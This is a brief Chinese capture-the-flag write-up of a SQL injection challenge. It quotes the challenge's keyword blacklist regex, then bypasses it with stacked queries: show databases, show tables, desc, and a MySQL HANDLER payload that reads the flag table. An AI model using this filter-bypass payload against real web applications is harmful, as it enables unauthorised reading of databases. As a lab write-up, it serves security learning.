分析
打开网页,提示是个黑名单。
右键查看源代码,啥也没有,那就尝试抓包吧。
没抓出什么东西,那就试试找注入点。
看到请求包,知道是get注入,那直接测试get请求
发现注入点,接下来查看列数
两列,接下来union联合查询
发现报错了,正则提示,select被禁用了
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|./i",$inject);
set
,prepare
,alter
,rename
,select
,update
,delete
,drop
,insert
,where
,\.
(匹配一个点字符)
试过了大小写绕过,失败,那只能想想别的办法了
那只能试试堆叠注入了
堆叠注入的语法和在终端中使用查看数据库的语法相同
实战
查看数据库:
show databases;
查看表:
show tables;
查看FlagHere:
desc FlagHere;
发现FlagHere中是有内容的,那就构造payload:
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
拿到flag
总结
这题需要知道几个前置知识:
1、绕过select的方法
2、堆叠注入的语法:show、desc、handler